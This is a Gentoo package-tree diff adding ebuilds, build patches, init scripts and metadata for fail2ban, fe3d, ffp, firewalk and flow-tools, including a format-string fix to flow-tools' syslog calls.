+ sed -i -e 's|/var\(/run/fail2ban\)|\1|g' $( find . -type f -mindepth 2 ) || die
+
+ distutils-r1_src_prepare
+}
+
+python_test() {
+ ${EPYTHON} bin/${PN}-testcases
+}
+
+src_install() {
+ distutils-r1_src_install
+
+ rm -rf "${D}"/usr/share/doc/${PN}
+
+ # not FILESDIR
+ newconfd files/gentoo-confd ${PN}
+ newinitd files/gentoo-initd ${PN}
+ systemd_dounit files/${PN}.service
+ systemd_dotmpfilesd files/${PN}-tmpfiles.conf
+ doman man/*.{1,5}
+
+ # Use INSTALL_MASK if you do not want to touch /etc/logrotate.d.
+ # See http://thread.gmane.org/gmane.linux.gentoo.devel/35675
+ insinto /etc/logrotate.d
+ newins files/${PN}-logrotate ${PN}
+}
+
+pkg_preinst() {
+ has_version "<${CATEGORY}/${PN}-0.7"
+ previous_less_than_0_7=$?
+}
+
+pkg_postinst() {
+ if [[ $previous_less_than_0_7 = 0 ]] ; then
+ elog
+ elog "Configuration files are now in /etc/fail2ban/"
+ elog "You probably have to manually update your configuration"
+ elog "files before restarting Fail2ban!"
+ elog
+ elog "Fail2ban is not installed under /usr/lib anymore. The"
+ elog "new location is under /usr/share."
+ elog
+ elog "You are upgrading from version 0.6.x, please see:"
+ elog "http://www.fail2ban.org/wiki/index.php/HOWTO_Upgrade_from_0.6_to_0.8"
+ fi
+ if ! has_version ${CATEGORY}/${PN}; then
+ if ! has_version dev-python/pyinotify && ! has_version app-admin/gamin; then
+ elog "For most jail.conf configurations, it is recommended you install either"
+ elog "dev-python/pyinotify or app-admin/gamin (in order of preference)"
+ elog "to control how log file modifications are detected"
+ fi
+ if ! has_version dev-lang/python[sqlite]; then
+ elog "If you want to use ${PN}'s persistent database, then reinstall"
+ elog "dev-lang/python with USE=sqlite"
+ fi
+
+ if has_version sys-apps/systemd[-python]; then
+ elog "If you want to track logins through sys-apps/systemd's"
+ elog "journal backend, then reinstall sys-apps/systemd with USE=python"
+ fi
+ fi
+}
diff --git a/net-analyzer/fail2ban/fail2ban-0.9.3.ebuild b/net-analyzer/fail2ban/fail2ban-0.9.3.ebuild
new file mode 100644
index 000000000000..51f8963bbdf9
--- /dev/null
+++ b/net-analyzer/fail2ban/fail2ban-0.9.3.ebuild
@@ -0,0 +1,105 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python{2_7,3_3,3_4} pypy )
+DISTUTILS_SINGLE_IMPL=1
+
+inherit distutils-r1 eutils systemd vcs-snapshot
+
+DESCRIPTION="scans log files and bans IPs that show malicious signs"
+HOMEPAGE="http://www.fail2ban.org/"
+SRC_URI="https://github.com/${PN}/${PN}/tarball/${PV} -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd"
+IUSE="selinux systemd"
+
+RDEPEND="
+ net-firewall/iptables
+ net-misc/whois
+ virtual/logger
+ virtual/mta
+ selinux? ( sec-policy/selinux-fail2ban )
+ systemd? ( $(python_gen_cond_dep '|| (
+ dev-python/python-systemd[${PYTHON_USEDEP}]
+ sys-apps/systemd[python(-),${PYTHON_USEDEP}]
+ )' 'python*' ) )
+"
+
+REQUIRED_USE="systemd? ( !python_single_target_pypy )"
+
+DOCS=( ChangeLog DEVELOP README.md THANKS TODO doc/run-rootless.txt )
+
+src_prepare() {
+ # Replace /var/run with /run, but not in the top source directory
+ sed -i -e 's|/var\(/run/fail2ban\)|\1|g' $( find . -type f -mindepth 2 ) || die
+
+ # Fix bashisms and do not direct useful output to /dev/null (bug #536320)
+ # Remove global logrotate settings (bug #549856)
+ epatch \
+ "${FILESDIR}"/${PN}-0.9.2-initd.patch \
+ "${FILESDIR}"/${PN}-0.9.2-logrotate.patch
+
+ distutils-r1_src_prepare
+}
+
+python_test() {
+ ${EPYTHON} bin/${PN}-testcases
+}
+
+src_install() {
+ distutils-r1_src_install
+
+ rm -rf "${D}"/usr/share/doc/${PN} "${D}"/run
+
+ # not FILESDIR
+ newconfd files/gentoo-confd ${PN}
+ newinitd files/gentoo-initd ${PN}
+ systemd_dounit files/${PN}.service
+ systemd_dotmpfilesd files/${PN}-tmpfiles.conf
+ doman man/*.{1,5}
+
+ # Use INSTALL_MASK if you do not want to touch /etc/logrotate.d.
+ # See http://thread.gmane.org/gmane.linux.gentoo.devel/35675
+ insinto /etc/logrotate.d
+ newins files/${PN}-logrotate ${PN}
+}
+
+pkg_preinst() {
+ has_version "<${CATEGORY}/${PN}-0.7"
+ previous_less_than_0_7=$?
+}
+
+pkg_postinst() {
+ if [[ $previous_less_than_0_7 = 0 ]] ; then
+ elog
+ elog "Configuration files are now in /etc/fail2ban/"
+ elog "You probably have to manually update your configuration"
+ elog "files before restarting Fail2ban!"
+ elog
+ elog "Fail2ban is not installed under /usr/lib anymore. The"
+ elog "new location is under /usr/share."
+ elog
+ elog "You are upgrading from version 0.6.x, please see:"
+ elog "http://www.fail2ban.org/wiki/index.php/HOWTO_Upgrade_from_0.6_to_0.8"
+ fi
+ if ! has_version ${CATEGORY}/${PN}; then
+ if ! has_version dev-python/pyinotify && ! has_version app-admin/gamin; then
+ elog "For most jail.conf configurations, it is recommended you install either"
+ elog "dev-python/pyinotify or app-admin/gamin (in order of preference)"
+ elog "to control how log file modifications are detected"
+ fi
+ if ! has_version dev-lang/python[sqlite]; then
+ elog "If you want to use ${PN}'s persistent database, then reinstall"
+ elog "dev-lang/python with USE=sqlite"
+ fi
+
+ if has_version sys-apps/systemd[-python]; then
+ elog "If you want to track logins through sys-apps/systemd's"
+ elog "journal backend, then reinstall sys-apps/systemd with USE=python"
+ fi
+ fi
+}
diff --git a/net-analyzer/fail2ban/fail2ban-99999999.ebuild b/net-analyzer/fail2ban/fail2ban-99999999.ebuild
new file mode 100644
index 000000000000..ee2f56e3283f
--- /dev/null
+++ b/net-analyzer/fail2ban/fail2ban-99999999.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python{2_7,3_3,3_4} pypy )
+DISTUTILS_SINGLE_IMPL=1
+
+inherit distutils-r1 eutils git-r3 systemd vcs-snapshot
+
+DESCRIPTION="scans log files and bans IPs that show malicious signs"
+HOMEPAGE="http://www.fail2ban.org/"
+EGIT_REPO_URI="https://github.com/${PN}/${PN}/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="selinux systemd"
+
+RDEPEND="
+ net-firewall/iptables
+ net-misc/whois
+ virtual/logger
+ virtual/mta
+ selinux? ( sec-policy/selinux-fail2ban )
+ systemd? ( $(python_gen_cond_dep '|| (
+ dev-python/python-systemd[${PYTHON_USEDEP}]
+ sys-apps/systemd[python(-),${PYTHON_USEDEP}]
+ )' 'python*' ) )
+"
+
+DOCS=( ChangeLog DEVELOP README.md THANKS TODO doc/run-rootless.txt )
+
+src_unpack() {
+ git-r3_src_unpack
+}
+
+src_prepare() {
+ # Replace /var/run with /run, but not in the top source directory
+ sed -i -e 's|/var\(/run/fail2ban\)|\1|g' $( find . -type f -mindepth 2 ) || die
+
+ # Fix bashisms and do not direct useful output to /dev/null (bug #536320)
+ # Remove global logrotate settings (bug #549856)
+ epatch \
+ "${FILESDIR}"/${PN}-0.9.2-initd.patch \
+ "${FILESDIR}"/${PN}-0.9.2-logrotate.patch
+
+ distutils-r1_src_prepare
+}
+
+python_test() {
+ ${EPYTHON} bin/${PN}-testcases
+}
+
+src_install() {
+ distutils-r1_src_install
+
+ rm -rf "${D}"/usr/share/doc/${PN}
+
+ # not FILESDIR
+ newconfd files/gentoo-confd ${PN}
+ newinitd files/gentoo-initd ${PN}
+ systemd_dounit files/${PN}.service
+ systemd_dotmpfilesd files/${PN}-tmpfiles.conf
+ doman man/*.{1,5}
+
+ # Use INSTALL_MASK if you do not want to touch /etc/logrotate.d.
+ # See http://thread.gmane.org/gmane.linux.gentoo.devel/35675
+ insinto /etc/logrotate.d
+ newins files/${PN}-logrotate ${PN}
+}
+
+pkg_preinst() {
+ has_version "<${CATEGORY}/${PN}-0.7"
+ previous_less_than_0_7=$?
+}
+
+pkg_postinst() {
+ if [[ $previous_less_than_0_7 = 0 ]] ; then
+ elog
+ elog "Configuration files are now in /etc/fail2ban/"
+ elog "You probably have to manually update your configuration"
+ elog "files before restarting Fail2ban!"
+ elog
+ elog "Fail2ban is not installed under /usr/lib anymore. The"
+ elog "new location is under /usr/share."
+ elog
+ elog "You are upgrading from version 0.6.x, please see:"
+ elog "http://www.fail2ban.org/wiki/index.php/HOWTO_Upgrade_from_0.6_to_0.8"
+ fi
+ if ! has_version ${CATEGORY}/${PN}; then
+ if ! has_version dev-python/pyinotify && ! has_version app-admin/gamin; then
+ elog "For most jail.conf configurations, it is recommended you install either"
+ elog "dev-python/pyinotify or app-admin/gamin (in order of preference)"
+ elog "to control how log file modifications are detected"
+ fi
+ if ! has_version dev-lang/python[sqlite]; then
+ elog "If you want to use ${PN}'s persistent database, then reinstall"
+ elog "dev-lang/python with USE=sqlite"
+ fi
+
+ if has_version sys-apps/systemd[-python]; then
+ elog "If you want to track logins through sys-apps/systemd's"
+ elog "journal backend, then reinstall sys-apps/systemd with USE=python"
+ fi
+ fi
+}
diff --git a/net-analyzer/fail2ban/files/fail2ban-0.9.2-initd.patch b/net-analyzer/fail2ban/files/fail2ban-0.9.2-initd.patch
new file mode 100644
index 000000000000..47bffe6af9fe
--- /dev/null
+++ b/net-analyzer/fail2ban/files/fail2ban-0.9.2-initd.patch
@@ -0,0 +1,25 @@
+--- a/files/gentoo-initd
++++ b/files/gentoo-initd
+@@ -38,19 +38,19 @@
+ # bug 347477
+ rm -rf /run/fail2ban/fail2ban.sock || return 1
+ fi
+- ${FAIL2BAN} start &> /dev/null
++ ${FAIL2BAN} start
+ eend $? "Failed to start fail2ban"
+ }
+
+ stop() {
+ ebegin "Stopping fail2ban"
+- ${FAIL2BAN} stop &> /dev/null
++ ${FAIL2BAN} stop
+ eend $? "Failed to stop fail2ban"
+ }
+
+ reload() {
+ ebegin "Reloading fail2ban"
+- ${FAIL2BAN} reload > /dev/null
++ ${FAIL2BAN} reload
+ eend $? "Failed to reload fail2ban"
+ }
+
diff --git a/net-analyzer/fail2ban/files/fail2ban-0.9.2-logrotate.patch b/net-analyzer/fail2ban/files/fail2ban-0.9.2-logrotate.patch
new file mode 100644
index 000000000000..65354a2a025f
--- /dev/null
+++ b/net-analyzer/fail2ban/files/fail2ban-0.9.2-logrotate.patch
@@ -0,0 +1,12 @@
+--- a/files/fail2ban-logrotate
++++ b/files/fail2ban-logrotate
+@@ -9,9 +9,7 @@
+ # http://pkgs.fedoraproject.org/cgit/fail2ban.git/tree/fail2ban-logrotate
+
+ /var/log/fail2ban.log {
+- rotate 7
+ missingok
+- compress
+ postrotate
+ /usr/bin/fail2ban-client flushlogs 1>/dev/null || true
+ endscript
diff --git a/net-analyzer/fail2ban/metadata.xml b/net-analyzer/fail2ban/metadata.xml
new file mode 100644
index 000000000000..43ff75467369
--- /dev/null
+++ b/net-analyzer/fail2ban/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/fe3d/Manifest b/net-analyzer/fe3d/Manifest
new file mode 100644
index 000000000000..31293918db8d
--- /dev/null
+++ b/net-analyzer/fe3d/Manifest
@@ -0,0 +1 @@
+DIST fe3d_0.11.2-src.tar.bz2 322740 SHA256 8aef228d72c17d9dc060de15c751abbf12e1445f938f27c50cd33cb43d76d833 SHA512 989ca9d19f3f23c8c10afad978cc5226e190d6d0c28ea8402e1894598c136eda345258d96ffce3585af7a8cd993ce377f863a7c43620ceda8d3b0ce674eb616f WHIRLPOOL b5686ea9427149573be4b26a6786eda2ce091069ea22de9b607e30c46670553771c1d11379417ad8ccb29fd3706c151848b80aebe393a22b29353c4b91cee509
diff --git a/net-analyzer/fe3d/fe3d-0.11.2.ebuild b/net-analyzer/fe3d/fe3d-0.11.2.ebuild
new file mode 100644
index 000000000000..90d0b0e906b3
--- /dev/null
+++ b/net-analyzer/fe3d/fe3d-0.11.2.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+WX_GTK_VER="2.8"
+inherit autotools eutils wxwidgets
+
+if [[ "${PV}" =~ (_p)([0-9]+) ]] ; then
+ inherit subversion
+ SRC_URI=""
+ FE3D_REV=${BASH_REMATCH[2]}
+ ESVN_REPO_URI="http://svn.icapsid.net/fe3d/fe3d/branches/fe3d_0.11/@${FE3D_REV}"
+else
+ SRC_URI="mirror://sourceforge/${PN}/${PN}_${PV}-src.tar.bz2"
+fi
+
+DESCRIPTION="A 3D visualization tool for network security information"
+HOMEPAGE="http://projects.icapsid.net/fe3d/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha amd64 x86"
+
+DOCS=( AUTHORS doc/{ChangeLog,README}.txt )
+
+RDEPEND="
+ >=dev-libs/xerces-c-2.7
+ net-analyzer/nmap
+ x11-libs/wxGTK:2.8[opengl]
+"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${PN}_${PV}
+
+src_prepare() {
+ need-wxwidgets unicode
+
+ epatch \
+ "${FILESDIR}"/${P}-asneeded.patch \
+ "${FILESDIR}"/${P}-coreutils.patch
+
+ eautoreconf
+}
+
+pkg_postinst() {
+ ewarn "This package has known issues:"
+ ewarn "1. The radius of the geometry nodes is wrong, causing overlap"
+ ewarn "2. Earth (and other) textures are upside down"
+ ewarn "3. This package contains some minor memory leaks"
+ echo
+ elog "Example using a nmap log:"
+ elog "/usr/bin/nmap -oX test.xml -O --osscan_limit 192.168.0.0/24"
+ elog "/usr/bin/fe3d test.xml"
+}
diff --git a/net-analyzer/fe3d/files/fe3d-0.11.2-asneeded.patch b/net-analyzer/fe3d/files/fe3d-0.11.2-asneeded.patch
new file mode 100644
index 000000000000..63d475194162
--- /dev/null
+++ b/net-analyzer/fe3d/files/fe3d-0.11.2-asneeded.patch
@@ -0,0 +1,39 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -46,16 +46,15 @@
+ ])
+ fi
+
+-CPPFLAGS="$CPPFLAGS $WX_CPPFLAGS"
+-CXXFLAGS="$CXXFLAGS $WX_CXXFLAGS_ONLY"
+-CFLAGS="$CFLAGS $WX_CFLAGS_ONLY"
+-LIBS="$LIBS $WX_LIBS"
++#CPPFLAGS="$CPPFLAGS $WX_CPPFLAGS"
++#CXXFLAGS="$CXXFLAGS $WX_CXXFLAGS_ONLY"
++#CFLAGS="$CFLAGS $WX_CFLAGS_ONLY"
++#LIBS="$LIBS $WX_LIBS"
+
+ AM_CPPFLAGS="$AM_CPPFLAGS $GL_CFLAGS $GLU_CFLAGS"
+-AM_LDFLAGS="$AM_LDFLAGS $GL_LIBS $GLU_LIBS"
+ AC_SUBST([AM_CPPFLAGS])
+ AC_SUBST([AM_LDFLAGS])
+-AC_SUBST([$PREFIX])
++#AC_SUBST([$PREFIX])
+
+ AC_OUTPUT
+
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -1,8 +1,10 @@
+-fe3d_CPPFLAGS = -DFE_DATA_DIR="\"@datadir@/@PACKAGE@/\""
++fe3d_CPPFLAGS = -DFE_DATA_DIR="\"@datadir@/@PACKAGE@/\"" @WX_CPPFLAGS@
+ INCLUDES = -I$(top_srcdir)/include -I$(top_srcdir)/src/include
+ bin_PROGRAMS = fe3d
+ fe3d_SOURCES = fe_config.cpp fe_core.cpp fe_draw.cpp fe_events.cpp fe_host.cpp fe_hosts.cpp fe_match.cpp fe_node.cpp fe_os_rgx.cpp fe_port.cpp fe_root_node.cpp fe_tools.cpp geo_cache.cpp gl_util.cpp libfe3d.cpp nmap_parser.cpp tex_cache.cpp wxfe3d_app.cpp wxfe3d_frame.cpp wxfe3d_glcanvas.cpp ui_nmap_ctrl.cpp ./gui/fe3d_ui.cpp ./regexp/Matcher.cpp ./regexp/Pattern.cpp ./regexp/WCMatcher.cpp ./regexp/WCPattern.cpp
+-
++fe3d_CFLAGS = @WX_CFLAGS@
++fe3d_CXXFLAGS = @WX_CXXFLAGS_ONLY@
++fe3d_LDADD = @GLU_LIBS@ @WX_LIBS@
+ fe3ddir = @datadir@/@PACKAGE@
+ fe3d_imgdir = @datadir@/@PACKAGE@/img
+ fe3d_DATA = $(top_srcdir)/data/*
diff --git a/net-analyzer/fe3d/files/fe3d-0.11.2-coreutils.patch b/net-analyzer/fe3d/files/fe3d-0.11.2-coreutils.patch
new file mode 100644
index 000000000000..547d86fb5cab
--- /dev/null
+++ b/net-analyzer/fe3d/files/fe3d-0.11.2-coreutils.patch
@@ -0,0 +1,12 @@
+http://bugs.gentoo.org/330047
+
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -5,5 +5,5 @@
+
+ fe3ddir = @datadir@/@PACKAGE@
+ fe3d_imgdir = @datadir@/@PACKAGE@/img
+-fe3d_DATA = $(top_srcdir)/data/*
+-fe3d_img_DATA = $(top_srcdir)/data/img/*
++fe3d_DATA = $(top_srcdir)/data/*.xml
++fe3d_img_DATA = $(top_srcdir)/data/img/*.png
diff --git a/net-analyzer/fe3d/metadata.xml b/net-analyzer/fe3d/metadata.xml
new file mode 100644
index 000000000000..5fd4d3b42253
--- /dev/null
+++ b/net-analyzer/fe3d/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">fe3d</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ffp/Manifest b/net-analyzer/ffp/Manifest
new file mode 100644
index 000000000000..d5a7278c660c
--- /dev/null
+++ b/net-analyzer/ffp/Manifest
@@ -0,0 +1 @@
+DIST ffp-0.0.8.tar.gz 201602 SHA256 0bbf525b9074c1a249717730258175979ecece5f8b5c43551b5f4d3541a8b933 SHA512 b2e844905dd08a5c6180ac8e3988effb13b9a8dd8fa1432e65c61a3d4ea2c30c75fb560d392fd3d5b7df2ab364c82f769b57d93d88d4b0f6d52772ef1c3d71bc WHIRLPOOL 64de54a589f8496449e450cba6cbf1fb8f06f853c9edf1b37ee4a256098febb5079e18c702194e63d07645a789fad0f665bbfc5e4b0bc2a2180beff526cad0ea
diff --git a/net-analyzer/ffp/ffp-0.0.8-r1.ebuild b/net-analyzer/ffp/ffp-0.0.8-r1.ebuild
new file mode 100644
index 000000000000..f7bce88be62d
--- /dev/null
+++ b/net-analyzer/ffp/ffp-0.0.8-r1.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="a tool to do fuzzy fingerprinting for man-in-the-middle attacks"
+HOMEPAGE="http://www.thc.org/thc-ffp/"
+SRC_URI="http://www.thc.org/releases/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+DEPEND="dev-libs/openssl"
+RDEPEND="${DEPEND}"
+
+DOCS=( README TODO doc/ffp.pdf )
+
+src_prepare() {
+ tc-export CC
+}
+src_install() {
+ default
+ dohtml doc/ffp.html
+}
diff --git a/net-analyzer/ffp/metadata.xml b/net-analyzer/ffp/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/ffp/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/firewalk/Manifest b/net-analyzer/firewalk/Manifest
new file mode 100644
index 000000000000..ea4e9b03fbdd
--- /dev/null
+++ b/net-analyzer/firewalk/Manifest
@@ -0,0 +1 @@
+DIST firewalk-5.0.tgz 80446 SHA256 b39fae47ca85753493cf714ed8099d99652d6cebb880a5ae4f682b3e9be5f6a4 SHA512 919aa6e464dac72a02f8967ccf7109de7d0b3a574f0a396bcf69bacc988ab8e13e8e25932d749eadc898cae2546f8f81014d53ef51429e6c784a16d40da90ff2 WHIRLPOOL 1387ef2c5e7a476068d7bd77a56f34692aef357a997553a8f94c325c537b03354d6c2ca7acd1eafa60253842e30fd71713cf8e0ff6174b94affab8fc221f6eec
diff --git a/net-analyzer/firewalk/files/firewalk-5.0-gcc3.4.diff b/net-analyzer/firewalk/files/firewalk-5.0-gcc3.4.diff
new file mode 100644
index 000000000000..925bde7b75f3
--- /dev/null
+++ b/net-analyzer/firewalk/files/firewalk-5.0-gcc3.4.diff
@@ -0,0 +1,11 @@
+--- a/src/firewalk.c
++++ b/src/firewalk.c
+@@ -188,8 +188,6 @@
+ case FW_SERIOUS_ERROR:
+ /* err msg set in fw_packet_capture() */
+ return (FW_SERIOUS_ERROR);
+- default:
+- /* empty */
+ }
+ }
+ }
diff --git a/net-analyzer/firewalk/firewalk-5.0-r1.ebuild b/net-analyzer/firewalk/firewalk-5.0-r1.ebuild
new file mode 100644
index 000000000000..997a853ed286
--- /dev/null
+++ b/net-analyzer/firewalk/firewalk-5.0-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="A tool for determining a firewall's rule set"
+HOMEPAGE="http://packetfactory.openwall.net/projects/firewalk/"
+SRC_URI="mirror://gentoo/${P}.tgz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+
+DEPEND="
+ dev-libs/libdnet
+ net-libs/libnet:1.1
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/Firewalk"
+
+DOCS=( README TODO BUGS )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gcc3.4.diff
+}
+
+src_install() {
+ default
+ doman man/firewalk.8
+}
diff --git a/net-analyzer/firewalk/metadata.xml b/net-analyzer/firewalk/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/firewalk/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/flow-tools/Manifest b/net-analyzer/flow-tools/Manifest
new file mode 100644
index 000000000000..61b36de045db
--- /dev/null
+++ b/net-analyzer/flow-tools/Manifest
@@ -0,0 +1 @@
+DIST flow-tools-0.68.5.1.tar.bz2 914062 SHA256 80bbd3791b59198f0d20184761d96ba500386b0a71ea613c214a50aa017a1f67 SHA512 ae17ba39854daa8ef3deecd3a554bb6d1fa47648cb791d8225a40bec13f65bf0692871660b2c3490d133b1251875c323d066bb0c0483eceb0707cec9b7714c57 WHIRLPOOL 2e7b98abab82ec07639356c07c89bb480276fec945c48ef86188a70a28ff54ab5dd1f1c7b69945d7b4e2687aafee06bef81dceea655b15aa735c50455723be83
diff --git a/net-analyzer/flow-tools/files/flow-tools-0.68.5.1-run.patch b/net-analyzer/flow-tools/files/flow-tools-0.68.5.1-run.patch
new file mode 100644
index 000000000000..e1b06eee7e00
--- /dev/null
+++ b/net-analyzer/flow-tools/files/flow-tools-0.68.5.1-run.patch
@@ -0,0 +1,22 @@
+--- a/src/flow-fanout.c
++++ b/src/flow-fanout.c
+@@ -57,7 +57,7 @@
+ #endif
+
+
+-#define FANOUT_PIDFILE "/var/run/flow-fanout.pid"
++#define FANOUT_PIDFILE "/run/flow-fanout.pid"
+
+ #define SELECT_TIMEOUT 5 /* 5 seconds */
+
+--- a/src/flow-capture.c
++++ b/src/flow-capture.c
+@@ -61,7 +61,7 @@
+
+ void fterr_exit_handler(int code);
+
+-#define CAPTURE_PIDFILE "/var/run/flow-capture.pid"
++#define CAPTURE_PIDFILE "/run/flow-capture.pid"
+
+ #define SELECT_TIMEOUT 1 /* 1 second */
+
diff --git a/net-analyzer/flow-tools/files/flow-tools-0.68.5.1-syslog.patch b/net-analyzer/flow-tools/files/flow-tools-0.68.5.1-syslog.patch
new file mode 100644
index 000000000000..cb17471072bc
--- /dev/null
+++ b/net-analyzer/flow-tools/files/flow-tools-0.68.5.1-syslog.patch
@@ -0,0 +1,47 @@
+--- a/lib/fterr.c
++++ b/lib/fterr.c
+@@ -112,7 +112,7 @@
+ fprintf(((fterr_file) ? fterr_file : stderr), "%s\n", buf2);
+
+ if (fterr_flags & FTERR_SYSLOG)
+- syslog(LOG_INFO, buf);
++ syslog(LOG_INFO, "%s", buf);
+
+ } /* fterr_info */
+
+@@ -134,7 +134,7 @@
+
+ if (fterr_flags & FTERR_SYSLOG) {
+ snprintf(buf2, 1024, "%s: %s", buf, strerror(errno));
+- syslog(LOG_INFO, buf2);
++ syslog(LOG_INFO, "%s", buf2);
+ }
+
+ if (fterr_exit)
+@@ -159,7 +159,7 @@
+ }
+
+ if (fterr_flags & FTERR_SYSLOG)
+- syslog(LOG_INFO, buf);
++ syslog(LOG_INFO, "%s", buf);
+
+ if (fterr_exit)
+ fterr_exit(code);
+@@ -183,7 +183,7 @@
+ }
+
+ if (fterr_flags & FTERR_SYSLOG)
+- syslog(LOG_INFO, buf);
++ syslog(LOG_INFO, "%s", buf);
+
+ } /* fterr_warnx */
+
+@@ -205,7 +205,7 @@
+
+ if (fterr_flags & FTERR_SYSLOG) {
+ snprintf(buf2, 1024, "%s: %s", buf, strerror(errno));
+- syslog(LOG_INFO, buf2);
++ syslog(LOG_INFO, "%s", buf2);
+ }
+
+ } /* fterr_warn */
diff --git a/net-analyzer/flow-tools/files/flowcapture.confd b/net-analyzer/flow-tools/files/flowcapture.confd
new file mode 100755
index 000000000000..82ce38a4bc73
--- /dev/null
+++ b/net-analyzer/flow-tools/files/flowcapture.confd
@@ -0,0 +1,45 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# Config file for /etc/init.d/flowcap
+
+# This is the default and should be left unless you know what you are doing
+FLOW_VER=5
+
+# local ip. if configured flow-capture will only ps flows sent to this ip.
+LOCALIP=0
+
+# You probably don't want to change this, but in case you do - nest level
+NEST=0
+
+# port to listen on
+PORT=2055
+
+# remote ip. If this is configured only flows from this exporter will be accepted
+# by default we will accept any flows sent to us
+REMOTEIP=0
+
+# program used to rotate
+ROTATE_PROG="/var/lib/flows/bin/linkme"
+
+# number of rotations per day
+ROTATIONS=287
+
+# Retain the maximum number of files so that the total storage is less than SIZE
+# The letters b,K,M,G can be used as multipliers, ie 16 Megabytes is 16M.
+SIZE=1G
+
+# interval in mins at which flowscan will print out stats in logs
+#STAT_INT=5
+# NOTE: with versions of flow-tools >=0.67 there is a bug that will cause a loop if you specify the STAT_INT
+# Only use that variable if you using an older flow-tools (and consequently a custom built ebuild as this config file is not in our older ebuilds)
+
+# dir we will be saving flows and working in
+WORKDIR=/var/lib/flows/ft
+
+# user to run as
+USER=flows
+
+# This pulls in the options above
+FLOW_OPTS="-p /run/flows/flowcapture.pid -w $WORKDIR $LOCALIP/$REMOTEIP/$PORT -V $FLOW_VER -E $SIZE -n $ROTATIONS -N $NEST -R $ROTATE_PROG"
+# Use below only if you have sorted out the STAT_INT problem
+#FLOW_OPTS="-p /run/flows/flowcapture.pid -w $WORKDIR $LOCALIP/$REMOTEIP/$PORT -S $STAT_INT -V $FLOW_VER -E $SIZE -n $ROTATIONS -N $NEST -R $ROTATE_PROG"
diff --git a/net-analyzer/flow-tools/files/flowcapture.initd b/net-analyzer/flow-tools/files/flowcapture.initd
new file mode 100755
index 000000000000..dc01c67d3d69
--- /dev/null
+++ b/net-analyzer/flow-tools/files/flowcapture.initd
@@ -0,0 +1,23 @@
+#!/sbin/runscript
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+ use net
+}
+
+start() {
+ ebegin "Starting flow-capture"
+ checkpath -d -o flows /run/flows
+ start-stop-daemon --start --user ${USER} --exec /usr/bin/flow-capture \
+ --pidfile /run/flows/flowcapture.pid.${PORT} \
+ -- ${FLOW_OPTS} >/dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping flow-capture"
+ start-stop-daemon --stop --quiet --exec /usr/bin/flow-capture \
+ --pidfile /run/flows/flowcapture.pid.${PORT}
+ eend $?
+}
diff --git a/net-analyzer/flow-tools/files/linkme b/net-analyzer/flow-tools/files/linkme
new file mode 100755
index 000000000000..4f666d903d42
--- /dev/null
+++ b/net-analyzer/flow-tools/files/linkme
@@ -0,0 +1,15 @@
+#!/usr/bin/perl
+
+$base = "/var/lib/flows";
+if ($ARGV[0] =~ /.*[\/]*(ft-v05[^\/]*$)/) {
+$fileName = $1;
+} else {
+print "Must specify file\n";
+exit 1;
+}
+
+unless ( symlink("$base/ft/$fileName","$base/$fileName") ) {
+print "Unable to create symbolic link: $base/$fileName\n";
+exit 1;
+}
+
